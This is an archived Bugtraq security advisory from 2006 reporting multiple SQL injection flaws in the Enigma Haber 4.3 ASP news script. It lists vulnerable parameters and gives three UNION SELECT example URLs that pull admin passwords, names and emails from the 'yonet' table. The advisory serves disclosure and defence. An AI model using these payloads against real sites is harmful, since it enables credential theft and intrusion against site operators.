Bugtraq mailing list archives
Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities
From: Mustafa Can Bjorn IPEKCI <nukedx () nukedx com>
Date: Sun, 28 May 2006 16:58:56 +0300
--Security Report-- Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 27/05/06 05:16 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx () nukedx com Web: http://www.nukedx.com } --- Vendor: EnigmaASP (http://www.enigmaasp.net/) Version: 4.3 and prior versions must be affected.About: Via this method remote attacker can inject arbitrary SQL queries to EnigmaHaber.See the examples.
Level: Critical --- How&Example: GET -> http://[site]/enigmadir/e_mesaj_yaz.asp?id=SQLEXAMPLE -> http://[site]/enigmadir/e_mesaj_yaz.asp?id=1879586820+UNION+SELECT+0,sifre,2,3,4,5,6,7,8,9,10,110,0,
0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+yonet+where+yonetid=1144931586 GET -> http://[site]/enigmadir/yazdir.asp?hid=SQL GET -> http://[site]/enigmadir/yorum.asp?hid=SQL GET -> http://[site]/enigmadir/edi_haber.asp?id=SQL&tur=1GET -> http://[site]/enigmadir/ara.asp?yo=1&ara=SQL&ko=0&k=0&d=hid&e=desc&ay=00&yil=00 GET -> http://[site]/enigmadir/arsiv.asp?d=hid&e=desc[SQL]&ay=00&yil=00&e_kad=00 EXAMPLE -> http://[site]/enigmadir/arsiv.asp?d=hid&e=desc+UNION+SELECT+0,sifre,isim,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19+FROM+yonet+where+yonetid%20like%201144927664&ay=00&yil=00&e_kad=00 GET -> http://[site]/enigmadir/haber_devam.asp?id=SQL Examples in the below needs admin rights. GET -> http://[site]/enigmadir/admin/y_admin.asp?yid=SQLEXAMPLE -> http://[site]/enigmadir/admin/y_admin.asp?yid=34+UNION+SELECT+0,1,mail,3,4,5,sifre,isim,8,9,sehir+from+
yonet+where+yonetid=1144927664 GET -> http://[site]/enigmadir/admin/reklam_detay.asp?bid=SQL GET -> http://[site]/enigmadir/admin/detay_yorum.asp?hid=SQL GET -> http://[site]/enigmadir/admin/haber_sil.asp?hid=SQL GET -> http://[site]/enigmadir/admin/kategori_d.asp?o=1&kid=SQL GET -> http://[site]/enigmadir/admin/haber_ekle.asp?tur=SQL GET -> http://[site]/enigmadir/admin/e_mesaj_yaz.asp?s=SQL GET -> http://[site]/enigmadir/admin/admin_sil.asp?id=SQL -- Timeline: * 27/05/2006: Vulnerability found. * 27/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=34 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=34
Current thread:
- Advisory: Enigma Haber <= 4.3 Multiple Remote SQL Injection Vulnerabilities Mustafa Can Bjorn IPEKCI (May 29)